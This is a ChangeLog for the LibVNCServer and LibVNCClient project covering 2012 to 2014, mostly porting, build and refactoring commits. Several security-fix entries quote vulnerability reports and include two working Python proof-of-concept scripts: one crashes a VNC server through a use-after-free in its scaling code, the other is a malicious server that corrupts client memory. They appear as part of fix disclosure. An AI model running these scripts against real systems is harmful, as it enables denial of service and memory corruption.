You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

8600 lines
333 KiB

2014-10-21 Christian Beier <>
* NEWS: Update NEWS.
2014-10-21 Christian Beier <>
* libvncserver/sockets.c: Update comments regarding
2014-10-21 Christian Beier <>
* libvncserver/scale.c: Fix Use-After-Free vulnerability in
LibVNCServer wrt scaling. Reported by Ken Johnson <>. The vulnerability would occur in both the rfbPalmVNCSetScaleFactor
and rfbSetScale cases in the rfbProcessClientNormalMessage function
of rfbserver.c. Sending a valid scaling factor is required
(non-zero) if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not
accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg,
sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n",
msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale,
cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); << This is the call that can trigger
a free. return; at the end, both cases there is a call the rfbSendNewScaleSize
function, where if the connection is subsequently disconnected after
sending the VNC scaling message can lead to a free occurring. else { rfbResizeFrameBufferMsg rmsg; rmsg.type = rfbResizeFrameBuffer; rmsg.pad1=0; rmsg.framebufferWidth =
Swap16IfLE(cl->scaledScreen->width); rmsg.framebufferHeigth
= Swap16IfLE(cl->scaledScreen->height); rfbLog("Sending a response
to a UltraVNC style frameuffer resize event (%dx%d)\n",
cl->scaledScreen->width, cl->scaledScreen->height); if
(rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); << Call which may can lead
to a free. return FALSE; } } return TRUE; Once this function returns, eventually rfbClientConnectionGone is
called again on the return from rfbProcessClientNormalMessage. In
KRFB server this leads to an attempt to access client->data. POC script to trigger the vulnerability: ---snip--- import socket,binascii,struct,sys from time import sleep class RFB: INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" AUTH_NO_PASS = "\x01" AUTH_PASS = "\x02" SHARE_DESKTOP = "\x01" def AUTH_PROCESS(self,data,flag): if flag == 0: # Get security types secTypeCount = data[0] secType = {} for i in range(int(len(secTypeCount))): secType[i] = data[1] return secType elif flag == 1: # Get auth result # 0 means auth success # 1 means failure return data[3] def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD): try: from Crypto.Cipher import DES except: print "Error importing crypto. Please fix or do not
require authentication" sys.exit(1) if len(PASSWORD) != 8: PASSWORD = PASSWORD.ljust(8, '\0') PASSWORD_SWAP =
[self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]PASSWORD =
(struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python <host> <port>
[password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occurred.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap---
2014-10-14 dscho <>
* : Merge pull request #43 from maksqwe/fix_rfbSelectBox Fix selData.buttonWidth calculation
2014-10-10 Christian Beier <>
* libvncclient/rfbproto.c: Fix possible libvncclient ServerInit
memory corruption. This fixes the following oCERT report (oCERT-2014-008 pt.2): There is a similar vulnerability to the previous one I sent. This is
related to the ServerInit message where the width, the height of the
server's framebuffer, its pixel format, and the name are sent to the
client. The name can be used in a malicious manner to trigger a
memory corruption in the client. Field Size --------------------------------- name-length
[4] name-string [name-length] Below you will find a PoC script to show the vulnerability. This was
tested on Fedora 20 with the latest version of krdc. I have noticed something, where the memory corruption causes the
program to hang but allows you to try to disconnect. After this it
hangs. Occasionally there will be segmentation fault in memcpy. This
can become more reliable if you connect to a different VNC server
first (Or the wrong port on the malicious server) then connecting to
the malicious port. Every time I accidentally made the wrong VNC
connection attempt the next time I connected it segfault'd. Just run the script it will listen on port 5900 and connect to it
with krdc for example. I have observed Remmina crash more reliably. import socket,struct,sys HOST = "" PORT = 5900 c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT)) c.listen(1) conn,addr = c.accept() print "Connected by ", addr protocolVersion3008 =
conn.send(protocolVersion3008) data = conn.recv(1024) # Receive the version from them. secTypeNone = "\x01\x01" secTypeAuth = "\x01\x02"
conn.send(secTypeNone) data = conn.recv(1024) # Receive the secType choice from them. secResultOk = "\x00" * 4 secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk) data = conn.recv(1024) # Receive the ClientInit (Shared-flag). frameBufferWidth = 0x0480 frameBufferHeight = 0x0360 bitsPerPixel =
0x20 depth = 0x18 bigEndian = 0x1 trueColor = 0x0 redM = 0x0 greenM
= 0x0 blueM = 0x0 redS = 0x0 greenS = 0x0 blueS = 0x0 padding =
"\x00\x00\x00" nameLength = 0xffffffff nameString = "AA" * 0xFFFF +
"\x00\x0a" conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth,
frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM,
greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I",
nameLength) + nameString ) c.close()
2014-10-10 Christian Beier <>
* libvncclient/sockets.c: Fix potential memory corruption in
libvncclient. Fixes (maybe amongst others) the following oCERT report
([oCERT-2014-008]): LibVNCServer HandleRFBServerMessage rfbServerCutText malicious
msg.sct.length It looks like there may be a chance for potential memory corruption
when a LibVNCServer client attempts to process a Server Cut Text
message. case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); <<
Retrieve malicious length buffer = malloc(msg.sct.length+1); << Allocate buffer. Can
return 0x0 if (!ReadFromRFBServer(client, buffer, msg.sct.length)) <<
Attempt to write to buffer return FALSE; buffer[msg.sct.length] = 0; << Attempt to write to buffer if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); <<
Attempt to write to buffer free(buffer); break; } If a message is provided with an extremely large size it is possible
to cause the malloc to fail, further leading to an attempt to write
2014-10-09 Christian Beier <>
* NEWS: Update NEWS for 0.9.10.
2014-10-09 Christian Beier <>
2014-10-07 dscho <>
* : Merge pull request #42 from LibVNC/autotools-fix-revisited Add autoconf macros that might not be installed with a usual
autotools setup
2014-10-07 Johannes Schindelin <>
* Add back a working There was no reason to get rid of the convenient script. Most
developers who are not in love with autoconf fail to remember that
autoreconf invocation, therefore it is better to have something
working in place. Signed-off-by: Johannes Schindelin <>
2014-09-01 Nicolas Ruff <>
* libvncserver/rfbserver.c: Fix stack-based buffer overflow There was a possible buffer overflow in rfbFileTransferOffer message
when processing the FileTime. Signed-off-by: Johannes Schindelin <>
2014-10-07 dscho <>
* : Merge pull request #41 from newsoft/master Fixing 2 security issues
2014-10-06 newsoft <>
* libvncserver/scale.c: Make sure that no integer overflow could
occur during scaling
2014-10-06 Christian Beier <>
* libvncclient/ Add libvncclient/h264.c to dist tarball. Otherwise the sources from a 'make dist' package wouldn't compile.
2014-10-03 Christian Beier <>
* m4/.gitignore: Really add empty m4 subdirectory. This change kinda got lost with the last commit re-splitting.
2014-10-02 Christian Beier <>
* : Merge pull request #38 from LibVNC/autotools-fix-revisited Autotools fix revisited.
2014-10-02 Christian Beier <>
* webclients/novnc/LICENSE.txt, webclients/novnc/,
webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
webclients/novnc/vnc_auto.html: Update noVNC HTML5 client to latest
version from
2014-09-21 Brian Bidulock <>
* .gitignore: add a few more ignores
2014-09-21 Brian Bidulock <>
* removed - no longer applicable: use autoreconf -fiv
2014-10-02 Christian Beier <>
* INSTALL, acinclude.m4, Remove autotools-related files
that will get installed by autoreconf -i.
2014-10-02 Brian Bidulock <>
*, Use an m4 script subdirectory, fix
automake init and two macro names.
2014-10-02 Brian Bidulock <>
* client_examples/, examples/,
examples/android/, libvncclient/,
libvncserver/, test/ Rename obsolete INCLUDES
2014-09-30 Johannes Schindelin <>
* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c:
Close unclosed comments ;-) Signed-off-by: Johannes Schindelin <>
2014-09-30 dscho <>
* : Merge pull request #36 from danielgindi/master A forgotten `#ifdef WIN32` broke UNIX build.
2014-09-30 dscho <>
* : Merge pull request #33 from danielgindi/master More MSVC adjustments, now focuses on the libvncserver
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c:
These are UNIX headers, and are not available on MSVC
2014-09-20 Daniel Cohen Gindi <>
* rfb/rfb.h: Those are generally the windows headers, not just MinGW
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/rfbserver.c: On windows, use the Win32 calls for
directory enumerations. We also do not need the conversion between UNIX values to Windows
values in the RTF_FIND_DATA struct, as we already are on windows.
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/httpd.c, libvncserver/rfbserver.c,
libvncserver/sockets.c, rfb/rfbclient.h: Generally adjusting headers
for compiling on windows without the mixing of Winsock 1 and 2.
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/rfbserver.c: Just use a macro to bridge to the Win32
version of `mkdir` The additional compat_mkdir function was not necessary at all.
2014-09-20 Daniel Cohen Gindi <>
* compat/msvc/sys/time.h: Use correct `winsock2.h` version header
instead of winsock.h. `windows.h` is referring to `winsock.h` (unless the
`WIN32_LEAN_AND_MEAN` is defined). The structs used in this header
are defined in `winsock2.h` or in `winsock.h`, but we are using
Winsock2 of course! So we have to include winsock2.h and refrain
from including windows.h here
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/httpd.c, libvncserver/rfbserver.c,
libvncserver/sockets.c: Fixed a violation of the C89 standard
("declarations must come before instructions")
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/tightvnc-filetransfer/filetransfermsg.c: A windows
version for directory enumerations Basically taken from with
some adjustments
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/tightvnc-filetransfer/filetransfermsg.c: MSVC also
has the __FUNCTION__ predefined
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/tightvnc-filetransfer/filetransfermsg.c,
`CreateDirectory` might clash with the
`CreateDirectoryA`/`CreateDirectoryW` macros on MSVC
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fail when
NULL is passed to CreateFileListInfo() Passing NULL to sprintf() would most likely crash the program.
2014-09-20 Daniel Cohen Gindi <>
* libvncclient/rfbproto.c, libvncclient/vncviewer.c,
libvncserver/rfbserver.c, libvncserver/sockets.c,
libvncserver/stats.c, libvncserver/websockets.c: `strings.h` and
`resolv.h` are not available on MSVC, and some POSIX functions are
renamed or deprecated For all of those missing/deprecated POSIX functions, we just add a
macro mapping to the _underscored version of MSVC.
2014-09-09 Christian Beier <>
* client_examples/ The HAVE_X11 define is not there
anymore, but we don't need it either.
2014-09-09 Christian Beier <>
*,, vncterm/ChangeLog, vncterm/LinuxVNC.c,
vncterm/, vncterm/README, vncterm/TODO,
vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
vncterm/example.c, vncterm/vga.h: Move vncterm to
2014-09-09 Christian Beier <>
* VisualNaCro/.gitignore, VisualNaCro/AUTHORS,
VisualNaCro/ChangeLog, VisualNaCro/, VisualNaCro/NEWS,
VisualNaCro/README, VisualNaCro/,
VisualNaCro/, VisualNaCro/default8x16.h,
VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/
Move VisualNaCro to
2014-09-09 Christian Beier <>
* Move over to x11vnc
2014-09-03 Christian Beier <>
*, Remove x11vnc from autotools build
2014-09-03 Christian Beier <>
* tightvnc-1.3dev5-vncviewer-alpha-cursor.patch: Remove
2014-09-03 Christian Beier <>
* x11vnc/.cvsignore, x11vnc/8to24.c, x11vnc/8to24.h,
x11vnc/ChangeLog, x11vnc/, x11vnc/README,
x11vnc/RELEASE-NOTES, x11vnc/allowed_input_t.h, x11vnc/appshare.c,
x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/blackout_t.h,
x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c,
x11vnc/connections.h, x11vnc/cursor.c, x11vnc/cursor.h,
x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h,
x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h,
x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c,
x11vnc/linuxfb.h, x11vnc/macosx.c, x11vnc/macosx.h,
x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c,
x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h,
x11vnc/misc/.cvsignore, x11vnc/misc/LICENSE,
x11vnc/misc/, x11vnc/misc/README, x11vnc/misc/Xdummy,
x11vnc/misc/blockdpy.c, x11vnc/misc/connect_switch,
x11vnc/misc/desktop.cgi, x11vnc/misc/dtVncPopup,
x11vnc/misc/inet6to4, x11vnc/misc/,
x11vnc/misc/, x11vnc/misc/,
x11vnc/misc/rx11vnc, x11vnc/misc/, x11vnc/misc/shm_clear,
x11vnc/misc/, x11vnc/misc/turbovnc/,
x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc,
x11vnc/misc/turbovnc/tight.c, x11vnc/misc/turbovnc/turbojpeg.h,
x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/misc/,
x11vnc/misc/, x11vnc/misc/,
x11vnc/misc/x11vnc_loop, x11vnc/misc/x11vnc_pw, x11vnc/nox11.h,
x11vnc/nox11_funcs.h, x11vnc/options.c, x11vnc/options.h,
x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c,
x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c,
x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c,
x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c,
x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h,
x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/sslhelper.c,
x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc,
x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h,
x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h,
x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c,
x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, x11vnc/win_utils.c,
x11vnc/win_utils.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1,
x11vnc/x11vnc.c, x11vnc/x11vnc.desktop, x11vnc/x11vnc.h,
x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c,
x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h,
x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c,
x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Remove
x11vnc subdir. The new x11vnc repo is at
2014-09-02 Johannes Schindelin <>
* libvncclient/tls_openssl.c: Fix tv_usec calculation This bug was introduced in the MSVC patches. Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* libvncclient/tls_openssl.c: Use Windows' critical sections to
emulate pthread's mutexes With Microsoft Visual C++, we cannot use pthreads (MinGW sports an
emulation library which is the reason we did not need
Windows-specific hacks earlier). Happily, it is very easy to provide
Windows-specific emulations for the pthread calls we use. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* libvncclient/zrle.c: Perform pointer arithmetic on char * instead
of void * Microsoft Visual C++ does not allow pointer arithmetic on void
pointers. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* libvncclient/tls_openssl.c, rfb/rfbproto.h: MSVC: Use the Unix
emulation headers [JES: provided commit message, split out unrelated changes] Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* libvncclient/listen.c, libvncclient/sockets.c,
libvncclient/vncviewer.c: Use WIN32 for Windows-specific #ifdef
guards To support Microsoft Visual C++, we must not guard Windows-specific
code in MinGW-specific #ifdef guards. Happily, even 64-bit MSVC defines the WIN32 constant, therefore we
can use that instead. [JES: fixed commit message, reordered commit, split out unrelated
changes] Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* compat/msvc/stdint.h, compat/msvc/sys/time.h,
compat/msvc/unistd.h: Add MSVC compatible unix headers The stdint.h file was copied from: can incorporate it because it is licensed under the 3-clause BSD
license.) [JES: fixed commit message, fixed stripped copyright header] Signed-off-by: Johannes Schindelin <>
2014-09-01 Daniel Cohen Gindi <>
* libvncclient/rfbproto.c, libvncclient/sockets.c,
libvncclient/tls_openssl.c: MSVC: Use _snprintf instead of snprintf In Microsoft's Visual C runtime, the snprintf() function is actually
called _snprintf. Let's just #define the former to call the latter. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-09-01 Daniel Cohen Gindi <>
* rfb/rfbproto.h: Use correct winsock header We link to ws2_32.lib which corresponds to the winsock2.h header,
not the winsock.h header. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* libvncclient/vncviewer.c: Include Winsock2 header before windows.h
include That's because there are duplicate #defines, and when Winsock2 is
defined before windows.h then windows.h detects that and prevent
redefinition. See[JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-09-01 Daniel Cohen Gindi <>
* libvncclient/tls_openssl.c: Remove unused variables This change is technically not required to support MSVC, but it was
detected by Microsoft's compiler. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-08-26 dscho <>
* : Merge pull request #21 from newsoft/master Fixing two more security issues (remote server crash)
2014-08-18 Nicolas Ruff <>
* libvncserver/rfbserver.c: Check malloc() return value on
client->server ClientCutText message. Client can send up to 2**32-1
bytes of text, and such a large allocation is likely to fail in case
of high memory pressure. This would in a server crash (write at
address 0).
2014-08-16 dscho <>
* : Merge pull request #16 from sandsmark/master Merge patches from KDE/krfb
2014-08-16 Johannes Schindelin <>
* acinclude.m4: Fix whitespace Signed-off-by: Johannes Schindelin <>
2014-08-10 Luca Falavigna <>
* acinclude.m4: Enable support for ppc64el architecture
2014-08-10 Luca Falavigna <>
*, Use Libs.private to avoid
unnecessary linkage
2014-08-16 Johannes Schindelin <>
* libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix indentation Signed-off-by: Johannes Schindelin <>
2014-08-16 dscho <>
* : Merge pull request #20 from newsoft/master Fix integer overflow in MallocFrameBuffer()
2014-08-15 newsoft <newsoft@MacBook-Air-de-newsoft-2.local>
* libvncclient/vncviewer.c: Fix integer overflow in
MallocFrameBuffer() Promote integers to uint64_t to avoid integer overflow issue during
frame buffer allocation for very large screen sizes
2013-09-28 Amandeep Singh <>
* libvncserver/sockets.c: allow rfbInitSockets with non-ready
states. This allows for reinitializations of e. g. sockets in a SHUTDOWN
state. The only state that doesn't make sense to reinitialize are
READY states.
2013-10-09 Amandeep Singh <>
* libvncserver/main.c: Fix crash in krfb Krfb crashes on quit, if any client is connected due to a
rfbClientConnectionGone call missing
2014-07-10 Will Thompson <>
* x11vnc/xrandr.c: x11vnc: fix double X_UNLOCK on xrandr events check_xrandr_event() assumes X_LOCK is taken before it is called,
and currently calls X_UNLOCK on behalf of the caller. But in
practice, all callers assume that the lock is still held after
check_xrandr_event() returns. In particular, this leads to a
double-unlock and crash in check_xevents() on any xrandr event.
2014-07-18 dscho <>
* : Merge pull request #13 from
wjt/fix-double-X_UNLOCK-on-xrandr-event x11vnc: fix double X_UNLOCK on xrandr events
2014-06-27 Johannes Schindelin <>
* common/lzoconf.h, common/lzodefs.h, common/minilzo.c,
common/minilzo.h: Update LZO to version 2.07 It was reported that LZO has security issues in LMS-2014-06-16-1:
Oberhumer LZO (CVE-2014-4607): This was also reported by Alex Xu as Signed-off-by: Johannes Schindelin <>
2014-06-23 dscho <>
* : Merge pull request #7 from waldheinz/init-sfae-padding Initialize padding in SetFormatAndEncodings' rfbSetPixelFormatMsg.
2014-06-23 Matthias Treydte <>
* libvncclient/rfbproto.c: Initialize padding in
SetFormatAndEncodings' rfbSetPixelFormatMsg.
2014-06-23 Matthias Treydte <>
* CMakeLists.txt: Use CMAKE_CURRENT_*_DIR instead of CMAKE_*_DIR. This makes the library friendly to use as a git submodule within
another project, and should change nothing when compiled alone. For example when having a directory structure like
"my_project/external/libvnc", where in libvnc resides a checkout of
libvncserver, one can just reference that directory from the
CMakeLists.txt in my_project with > add_directory ( external/libvnc ) and add vncclient / vncserver in my_project's taret_link_libraries,
one can just hack away without having to manually make / install
LibVNCServer whenever something is changed there.
2014-05-14 dscho <>
* : Merge pull request #4 from dextero/master x11vnc: adjust blackout region coordinates to the clipping region
2014-04-05 Johannes Schindelin <>
* libvncclient/rfbproto.c: libvncclient: If we have TLS support,
enable VeNCrypt by default Signed-off-by: Johannes Schindelin <>
2014-04-05 Johannes Schindelin <>
* .gitignore: Ignore the 'mac' example, too Signed-off-by: Johannes Schindelin <>
2014-04-05 Johannes Schindelin <>
* .gitignore: Ignore the vencrypt document Signed-off-by: Johannes Schindelin <>
2014-04-05 Johannes Schindelin <>
* .gitignore: Ignore rfbproto.rst A more up-to-date version of the RFB protocol is maintained by
TigerVNC: Johannes Schindelin <>
2014-03-29 Johannes Schindelin <>
* examples/repeater.c: Repeater example: show how to shut down
cleanly Since we connected to the client through the repeater, chances are
that we want this server shut down once the client disconnected. Signed-off-by: Johannes Schindelin <>
2014-03-29 Johannes Schindelin <>
* .gitignore, examples/, examples/repeater.c: Add an
example how to connect to an UltraVNC-style repeater UltraVNC offers an add-on to connect clients and servers via IDs
with a so-called repeater (e.g. to bridge firewalled clients and
servers): This example demonstrates how to use that feature with a
LibVNCServer-based server. Signed-off-by: Johannes Schindelin <>
2014-04-05 Christian Beier <>
*, webclients/novnc/,
webclients/novnc/vnc.html: Update sourceforge links to point to
2014-03-31 Johannes Schindelin <>
* libvncserver/rfbregion.c: Fix tyop Signed-off-by: Johannes Schindelin <>
2014-03-30 Johannes Schindelin <>
* .gitignore: Ignore more generated files While at it, also ignore the documentation of the RFB protocol best
downloaded manually from Signed-off-by: Johannes Schindelin <>
2014-03-30 Robbert Klarenbeek <>
* libvncclient/vncviewer.c: Address #12 ClientData does not get
freed rfbClientSetClientData() allocates a new rfbClientData, but never
gets cleaned up, which causes memory leaks. Signed-off-by: Johannes Schindelin <>
2014-03-30 Johannes Schindelin <>
* examples/example.c, test/encodingstest.c: After free()ing
clientData, set it to NULL We will change rfbClientCleanup() to free the data. Signed-off-by: Johannes Schindelin <>
2013-02-27 Joel Martin <>
* libvncserver/websockets.c: Set opcode correctly for binary frames.
2013-01-25 Christian Beier <>
* rfb/rfbproto.h: Remove unneeded #ifdefs.
2013-01-25 Christian Beier <>
* rfb/rfbclient.h: Fix ABI compatibility issue.
2013-01-09 David Verbeiren <>
* client_examples/gtkvncviewer.c,,
libvncclient/, libvncclient/h264.c,
libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h,
rfb/rfbproto.h: LibVNCClient: Add H.264 encoding for framebuffer
updates This patch implements support in LibVNCClient for framebuffer
updates encoded as H.264 frames. Hardware accelerated decoding is
performed using VA API. This is experimental support to let the community explore the
possibilities offered by the potential bandwidth and latency
reductions that H.264 encoding allows. This may be particularly
useful for use cases such as online gaming, hosted desktops, hosted
set top boxes... This patch only provides the client side support and is meant to be
used with corresponding server-side support, as provided by an
upcoming patch for qemu ui/vnc module (to view the display of a
virtual machine executing under QEMU). With this H.264-based encoding, if multiple framebuffer update
messages are generated for a single server framebuffer modification,
the H.264 frame data is sent only with the first update message.
Subsequent update framebuffer messages will contain only the
coordinates and size of the additional updated regions. Instructions/Requirements: * The patch should be applied on top of the previous patch I
submitted with minor enhancements to the gtkvncviewer application: * Currently only works with libva 1.0: use branch "v1.0-branch" for
libva and intel-driver. Those can be built as follows: cd libva git checkout v1.0-branch ./ make sudo make install cd .. git clone git:// cd intel-driver git checkout v1.0-branch ./ make sudo make install Signed-off-by: David Verbeiren <>
2013-01-08 David Verbeiren <>
* client_examples/gtkvncviewer.c: gtkvncviewer enhancements Hide "Connecting" dialog in gtkvncviewer once an update is received. Hide local cusror in gtkvncviewer.
2012-09-14 Christian Beier <>
* AUTHORS: Add Raphael to AUTHORS.
2012-09-11 Raphael Kubo da Costa <>
* libvncclient/rfbproto.c: Include strings.h for strncasecmp(3)
2012-09-11 Raphael Kubo da Costa <>
* libvncserver/websockets.c: Work around a gcc bug with anonymous
structs and unions. GCC < 4.6 failed to parse the declaration of ws_header_t correctly
because it did not accept anonymous structs and unions. [1] Work around the bug by adding names to the unions and structs. Ugly,
but works. [1]
2012-09-11 Raphael Kubo da Costa <>
* libvncserver/rfbserver.c: Include stdio.h for snprintf(3)
2012-09-11 Raphael Kubo da Costa <>
* libvncserver/websockets.c: Add the required headers for read(2)
2012-09-11 Raphael Kubo da Costa <>
* CMakeLists.txt,, libvncserver/websockets.c,
rfb/rfbconfig.h.cmake: Use htobeNN(3) to convert numbers in
websocket.c. byteswap.h exists only on glibc, so building libvncserver with
websockets support was not possible in other systems. Replace the inclusion of byteswap.h and the WS_* definitions with
calls to htobeNN, which should perform the same conversions, be more
portable and avoid the need to check for the platform's endianness.
2012-09-11 Raphael Kubo da Costa <>
* CMakeLists.txt, Do not hardcode the need for
libresolv. libresolv is only present on systems which use glibc; platforms such
as FreeBSD have __b64_ntop as part of libc itself. Improve the detection process and only link against libresolv if it
exists on the system, and remember to reset CMAKE_REQUIRED_LIBRARIES
after performing the necessary tests, since we do not always want to
link against libresolv.
2012-09-11 Raphael Kubo da Costa <>
* common/vncauth.c, libvncclient/rfbproto.c,
libvncclient/sockets.c, libvncserver/httpd.c,
libvncserver/rfbserver.c, libvncserver/sockets.c,
libvncserver/websockets.c: Tune the definitions needed when building
with -ansi. The current definitions were mostly useful to glibc and followed its
feature_test_macros(3) documentation. However, this means other platforms still had problems when building
with strict compilation flags. _BSD_SOURCE, for example, is only
recognized by glibc, and other platforms sometimes need
_XOPEN_SOURCE instead, or even the removal of some definitions (such
as the outdate _POSIX_SOURCE one). _POSIX_SOURCE also had to be conditionally defined in some places,
as what it enables or disables during compilation varies across
2012-09-11 Raphael Kubo da Costa <>
* libvncserver/sockets.c, libvncserver/websockets.c: Add some
missing feature macro definitions. Building with -ansi failed due to some code (as well as system
headers) using non-C89 features. Fix that by adding the usual
_POSIX_SOURCE and _BSD_SOURCE definitions already present in some
other files.
2012-09-11 Raphael Kubo da Costa <>
* common/turbojpeg.c, libvncserver/tight.c,
libvncserver/websockets.c, rfb/rfb.h, rfb/rfbconfig.h.cmake,
test/bmp.h: Use C-style comments in rfbconfig.h.cmake and C source
code. Using C++-style comments when building the code with -ansi does not
work, so be more conservative with the comment style.
2012-09-11 Raphael Kubo da Costa <>
* libvncserver/websockets.c: Correctly include rfbconfig.h. build_dir/rfb is not passed as an include directory automatically to
the compiler, so including that file fails.
2012-09-11 Raphael Kubo da Costa <>
* CMakeLists.txt: CMake: Link against libgcrypt when it is found. So far, libgcrypt was looked for but no targets linked against it
directly; this caused linking problems for the client and server
examples, as the symbols they needed were not passed to the linker. The issue that the GnuTLS websockets code uses libgcrypt regardless
of whether it has been found or not has not been touched by this
commit, though.
2012-08-19 Christian Beier <>
* webclients/novnc/LICENSE.txt, webclients/novnc/,
webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
